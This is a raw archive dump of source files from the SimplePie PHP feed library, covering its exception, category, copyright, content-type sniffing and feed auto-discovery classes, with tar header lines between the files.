        if (isset($params['query'])) {
            parse_str($params['query'], $params['extras']);
        }
        return $params;
    }
}

class_alias('SimplePie\Cache', 'SimplePie_Cache');
src/Exception.php000064400000004333151024210710007776 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

use Exception as NativeException;

/**
 * General SimplePie exception class
 *
 * @package SimplePie
 */
class Exception extends NativeException
{
}

class_alias('SimplePie\Exception', 'SimplePie_Exception');
src/Category.php000064400000010416151024210710007614 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Manages all category-related data
 *
 * Used by {@see \SimplePie\Item::get_category()} and {@see \SimplePie\Item::get_categories()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_category_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Category
{
    /**
     * Category identifier
     *
     * @var string|null
     * @see get_term
     */
    public $term;

    /**
     * Categorization scheme identifier
     *
     * @var string|null
     * @see get_scheme()
     */
    public $scheme;

    /**
     * Human readable label
     *
     * @var string|null
     * @see get_label()
     */
    public $label;

    /**
     * Category type
     *
     * category for <category>
     * subject for <dc:subject>
     *
     * @var string|null
     * @see get_type()
     */
    public $type;

    /**
     * Constructor, used to input the data
     *
     * @param string|null $term
     * @param string|null $scheme
     * @param string|null $label
     * @param string|null $type
     */
    public function __construct($term = null, $scheme = null, $label = null, $type = null)
    {
        $this->term = $term;
        $this->scheme = $scheme;
        $this->label = $label;
        $this->type = $type;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the category identifier
     *
     * @return string|null
     */
    public function get_term()
    {
        return $this->term;
    }

    /**
     * Get the categorization scheme identifier
     *
     * @return string|null
     */
    public function get_scheme()
    {
        return $this->scheme;
    }

    /**
     * Get the human readable label
     *
     * @param bool $strict
     * @return string|null
     */
    public function get_label($strict = false)
    {
        if ($this->label === null && $strict !== true) {
            return $this->get_term();
        }
        return $this->label;
    }

    /**
     * Get the category type
     *
     * @return string|null
     */
    public function get_type()
    {
        return $this->type;
    }
}

class_alias('SimplePie\Category', 'SimplePie_Category');
src/Content/Type/Sniffer.php000064400000022112151024210710011762 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Content\Type;

/**
 * Content-type sniffing
 *
 * Based on the rules in http://tools.ietf.org/html/draft-abarth-mime-sniff-06
 *
 * This is used since we can't always trust Content-Type headers, and is based
 * upon the HTML5 parsing rules.
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_content_type_sniffer_class()}
 *
 * @package SimplePie
 * @subpackage HTTP
 */
class Sniffer
{
    /**
     * File object
     *
     * @var \SimplePie\File
     */
    public $file;

    /**
     * Create an instance of the class with the input file
     *
     * @param Sniffer $file Input file
     */
    public function __construct($file)
    {
        $this->file = $file;
    }

    /**
     * Get the Content-Type of the specified file
     *
     * @return string Actual Content-Type
     */
    public function get_type()
    {
        if (isset($this->file->headers['content-type'])) {
            if (!isset($this->file->headers['content-encoding'])
                && ($this->file->headers['content-type'] === 'text/plain'
                    || $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1'
                    || $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1'
                    || $this->file->headers['content-type'] === 'text/plain; charset=UTF-8')) {
                return $this->text_or_binary();
            }

            if (($pos = strpos($this->file->headers['content-type'], ';')) !== false) {
                $official = substr($this->file->headers['content-type'], 0, $pos);
            } else {
                $official = $this->file->headers['content-type'];
            }
            $official = trim(strtolower($official));

            if ($official === 'unknown/unknown'
                || $official === 'application/unknown') {
                return $this->unknown();
            } elseif (substr($official, -4) === '+xml'
                || $official === 'text/xml'
                || $official === 'application/xml') {
                return $official;
            } elseif (substr($official, 0, 6) === 'image/') {
                if ($return = $this->image()) {
                    return $return;
                }

                return $official;
            } elseif ($official === 'text/html') {
                return $this->feed_or_html();
            }

            return $official;
        }

        return $this->unknown();
    }

    /**
     * Sniff text or binary
     *
     * @return string Actual Content-Type
     */
    public function text_or_binary()
    {
        if (substr($this->file->body, 0, 2) === "\xFE\xFF"
            || substr($this->file->body, 0, 2) === "\xFF\xFE"
            || substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF"
            || substr($this->file->body, 0, 3) === "\xEF\xBB\xBF") {
            return 'text/plain';
        } elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body)) {
            return 'application/octet-stream';
        }

        return 'text/plain';
    }

    /**
     * Sniff unknown
     *
     * @return string Actual Content-Type
     */
    public function unknown()
    {
        $ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20");
        if (strtolower(substr($this->file->body, $ws, 14)) === '<!doctype html'
            || strtolower(substr($this->file->body, $ws, 5)) === '<html'
            || strtolower(substr($this->file->body, $ws, 7)) === '<script') {
            return 'text/html';
        } elseif (substr($this->file->body, 0, 5) === '%PDF-') {
            return 'application/pdf';
        } elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-') {
            return 'application/postscript';
        } elseif (substr($this->file->body, 0, 6) === 'GIF87a'
            || substr($this->file->body, 0, 6) === 'GIF89a') {
            return 'image/gif';
        } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
            return 'image/png';
        } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") {
            return 'image/jpeg';
        } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") {
            return 'image/bmp';
        } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") {
            return 'image/vnd.microsoft.icon';
        }

        return $this->text_or_binary();
    }

    /**
     * Sniff images
     *
     * @return string Actual Content-Type
     */
    public function image()
    {
        if (substr($this->file->body, 0, 6) === 'GIF87a'
            || substr($this->file->body, 0, 6) === 'GIF89a') {
            return 'image/gif';
        } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") {
            return 'image/png';
        } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") {
            return 'image/jpeg';
        } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") {
            return 'image/bmp';
        } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") {
            return 'image/vnd.microsoft.icon';
        }

        return false;
    }

    /**
     * Sniff HTML
     *
     * @return string Actual Content-Type
     */
    public function feed_or_html()
    {
        $len = strlen($this->file->body);
        $pos = strspn($this->file->body, "\x09\x0A\x0D\x20\xEF\xBB\xBF");

        while ($pos < $len) {
            switch ($this->file->body[$pos]) {
                case "\x09":
                case "\x0A":
                case "\x0D":
                case "\x20":
                    $pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos);
                    continue 2;

                case '<':
                    $pos++;
                    break;

                default:
                    return 'text/html';
            }

            if (substr($this->file->body, $pos, 3) === '!--') {
                $pos += 3;
                if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false) {
                    $pos += 3;
                } else {
                    return 'text/html';
                }
            } elseif (substr($this->file->body, $pos, 1) === '!') {
                if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false) {
                    $pos++;
                } else {
                    return 'text/html';
                }
            } elseif (substr($this->file->body, $pos, 1) === '?') {
                if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false) {
                    $pos += 2;
                } else {
                    return 'text/html';
                }
            } elseif (substr($this->file->body, $pos, 3) === 'rss'
                || substr($this->file->body, $pos, 7) === 'rdf:RDF') {
                return 'application/rss+xml';
            } elseif (substr($this->file->body, $pos, 4) === 'feed') {
                return 'application/atom+xml';
            } else {
                return 'text/html';
            }
        }

        return 'text/html';
    }
}

class_alias('SimplePie\Content\Type\Sniffer', 'SimplePie_Content_Type_Sniffer');
src/Copyright.php000064400000007031151024210710010006 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Manages `<media:copyright>` copyright tags as defined in Media RSS
 *
 * Used by {@see \SimplePie\Enclosure::get_copyright()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_copyright_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class Copyright
{
    /**
     * Copyright URL
     *
     * @var string
     * @see get_url()
     */
    public $url;

    /**
     * Attribution
     *
     * @var string
     * @see get_attribution()
     */
    public $label;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct($url = null, $label = null)
    {
        $this->url = $url;
        $this->label = $label;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the copyright URL
     *
     * @return string|null URL to copyright information
     */
    public function get_url()
    {
        if ($this->url !== null) {
            return $this->url;
        }

        return null;
    }

    /**
     * Get the attribution text
     *
     * @return string|null
     */
    public function get_attribution()
    {
        if ($this->label !== null) {
            return $this->label;
        }

        return null;
    }
}

class_alias('SimplePie\Copyright', 'SimplePie_Copyright');
src/Locator.php000064400000036455151024210710007455 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie;

/**
 * Used for feed auto-discovery
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_locator_class()}
 *
 * @package SimplePie
 */
class Locator implements RegistryAware
{
    public $useragent;
    public $timeout;
    public $file;
    public $local = [];
    public $elsewhere = [];
    public $cached_entities = [];
    public $http_base;
    public $base;
    public $base_location = 0;
    public $checked_feeds = 0;
    public $max_checked_feeds = 10;
    public $force_fsockopen = false;
    public $curl_options = [];
    public $dom;
    protected $registry;

    public function __construct(\SimplePie\File $file, $timeout = 10, $useragent = null, $max_checked_feeds = 10, $force_fsockopen = false, $curl_options = [])
    {
        $this->file = $file;
        $this->useragent = $useragent;
        $this->timeout = $timeout;
        $this->max_checked_feeds = $max_checked_feeds;
        $this->force_fsockopen = $force_fsockopen;
        $this->curl_options = $curl_options;

        if (class_exists('DOMDocument') && $this->file->body != '') {
            $this->dom = new \DOMDocument();

            set_error_handler(['SimplePie\Misc', 'silence_errors']);
            try {
                $this->dom->loadHTML($this->file->body);
            } catch (\Throwable $ex) {
                $this->dom = null;
            }
            restore_error_handler();
        } else {
            $this->dom = null;
        }
    }

    public function set_registry(\SimplePie\Registry $registry)/* : void */
    {
        $this->registry = $registry;
    }

    public function find($type = \SimplePie\SimplePie::LOCATOR_ALL, &$working = null)
    {
        if ($this->is_feed($this->file)) {
            return $this->file;
        }

        if ($this->file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE) {
            $sniffer = $this->registry->create(Content\Type\Sniffer::class, [$this->file]);
            if ($sniffer->get_type() !== 'text/html') {
                return null;
            }
        }

        if ($type & ~\SimplePie\SimplePie::LOCATOR_NONE) {
            $this->get_base();
        }

        if ($type & \SimplePie\SimplePie::LOCATOR_AUTODISCOVERY && $working = $this->autodiscovery()) {
            return $working[0];
        }

        if ($type & (\SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION | \SimplePie\SimplePie::LOCATOR_LOCAL_BODY | \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION | \SimplePie\SimplePie::LOCATOR_REMOTE_BODY) && $this->get_links()) {
            if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_EXTENSION && $working = $this->extension($this->local)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_LOCAL_BODY && $working = $this->body($this->local)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_EXTENSION && $working = $this->extension($this->elsewhere)) {
                return $working[0];
            }

            if ($type & \SimplePie\SimplePie::LOCATOR_REMOTE_BODY && $working = $this->body($this->elsewhere)) {
                return $working[0];
            }
        }
        return null;
    }

    public function is_feed($file, $check_html = false)
    {
        if ($file->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE) {
            $sniffer = $this->registry->create(Content\Type\Sniffer::class, [$file]);
            $sniffed = $sniffer->get_type();
            $mime_types = ['application/rss+xml', 'application/rdf+xml',
                                'text/rdf', 'application/atom+xml', 'text/xml',
                                'application/xml', 'application/x-rss+xml'];
            if ($check_html) {
                $mime_types[] = 'text/html';
            }

            return in_array($sniffed, $mime_types);
        } elseif ($file->method & \SimplePie\SimplePie::FILE_SOURCE_LOCAL) {
            return true;
        } else {
            return false;
        }
    }

    public function get_base()
    {
        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }
        $this->http_base = $this->file->url;
        $this->base = $this->http_base;
        $elements = $this->dom->getElementsByTagName('base');
        foreach ($elements as $element) {
            if ($element->hasAttribute('href')) {
                $base = $this->registry->call(Misc::class, 'absolutize_url', [trim($element->getAttribute('href')), $this->http_base]);
                if ($base === false) {
                    continue;
                }
                $this->base = $base;
                $this->base_location = method_exists($element, 'getLineNo') ? $element->getLineNo() : 0;
                break;
            }
        }
    }

    public function autodiscovery()
    {
        $done = [];
        $feeds = [];
        $feeds = array_merge($feeds, $this->search_elements_by_tag('link', $done, $feeds));
        $feeds = array_merge($feeds, $this->search_elements_by_tag('a', $done, $feeds));
        $feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds));

        if (!empty($feeds)) {
            return array_values($feeds);
        }

        return null;
    }

    protected function search_elements_by_tag($name, &$done, $feeds)
    {
        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }

        $links = $this->dom->getElementsByTagName($name);
        foreach ($links as $link) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            if ($link->hasAttribute('href') && $link->hasAttribute('rel')) {
                $rel = array_unique($this->registry->call(Misc::class, 'space_separated_tokens', [strtolower($link->getAttribute('rel'))]));
                $line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1;

                if ($this->base_location < $line) {
                    $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->base]);
                } else {
                    $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]);
                }
                if ($href === false) {
                    continue;
                }

                if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call(Misc::class, 'parse_mime', [$link->getAttribute('type')])), ['text/html', 'application/rss+xml', 'application/atom+xml'])) && !isset($feeds[$href])) {
                    $this->checked_feeds++;
                    $headers = [
                        'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
                    ];
                    $feed = $this->registry->create(File::class, [$href, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]);
                    if ($feed->success && ($feed->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed, true)) {
                        $feeds[$href] = $feed;
                    }
                }
                $done[] = $href;
            }
        }

        return $feeds;
    }

    public function get_links()
    {
        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }

        $links = $this->dom->getElementsByTagName('a');
        foreach ($links as $link) {
            if ($link->hasAttribute('href')) {
                $href = trim($link->getAttribute('href'));
                $parsed = $this->registry->call(Misc::class, 'parse_url', [$href]);
                if ($parsed['scheme'] === '' || preg_match('/^(https?|feed)?$/i', $parsed['scheme'])) {
                    if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) {
                        $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->base]);
                    } else {
                        $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]);
                    }
                    if ($href === false) {
                        continue;
                    }

                    $current = $this->registry->call(Misc::class, 'parse_url', [$this->file->url]);

                    if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority']) {
                        $this->local[] = $href;
                    } else {
                        $this->elsewhere[] = $href;
                    }
                }
            }
        }
        $this->local = array_unique($this->local);
        $this->elsewhere = array_unique($this->elsewhere);
        if (!empty($this->local) || !empty($this->elsewhere)) {
            return true;
        }
        return null;
    }

    public function get_rel_link($rel)
    {
        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use '.
                                          'locator');
        }
        if (!class_exists('DOMXpath')) {
            throw new \SimplePie\Exception('DOMXpath not found, unable to use '.
                                          'get_rel_link');
        }

        $xpath = new \DOMXpath($this->dom);
        $query = '//a[@rel and @href] | //link[@rel and @href]';
        foreach ($xpath->query($query) as $link) {
            $href = trim($link->getAttribute('href'));
            $parsed = $this->registry->call(Misc::class, 'parse_url', [$href]);
            if ($parsed['scheme'] === '' ||
                preg_match('/^https?$/i', $parsed['scheme'])) {
                if (method_exists($link, 'getLineNo') &&
                    $this->base_location < $link->getLineNo()) {
                    $href = $this->registry->call(
                        Misc::class,
                        'absolutize_url',
                        [trim($link->getAttribute('href')), $this->base]
                    );
                } else {
                    $href = $this->registry->call(
                        Misc::class,
                        'absolutize_url',
                        [trim($link->getAttribute('href')), $this->http_base]
                    );
                }
                if ($href === false) {
                    return null;
                }
                $rel_values = explode(' ', strtolower($link->getAttribute('rel')));
                if (in_array($rel, $rel_values)) {
                    return $href;
                }
            }
        }
        return null;
    }

    public function extension(&$array)
    {
        foreach ($array as $key => $value) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            if (in_array(strtolower(strrchr($value, '.')), ['.rss', '.rdf', '.atom', '.xml'])) {
                $this->checked_feeds++;

                $headers = [
                    'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
                ];
                $feed = $this->registry->create(File::class, [$value, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options]);
                if ($feed->success && ($feed->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) {
                    return [$feed];
                } else {
                    unset($array[$key]);
                }
            }
        }
        return null;
    }

    public function body(&$array)
    {
        foreach ($array as $key => $value) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            if (preg_match('/(feed|rss|rdf|atom|xml)/i', $value)) {
                $this->checked_feeds++;
                $headers = [
                    'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
                ];
                $feed = $this->registry->create(File::class, [$value, $this->timeout, 5, null, $this->useragent, $this->force_fsockopen, $this->curl_options]);
                if ($feed->success && ($feed->method & \SimplePie\SimplePie::FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed)) {
                    return [$feed];
                } else {
                    unset($array[$key]);
                }
            }
        }
        return null;
    }
}

class_alias('SimplePie\Locator', 'SimplePie_Locator', false);
src/Item.php000064400000400572151024210710006743 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
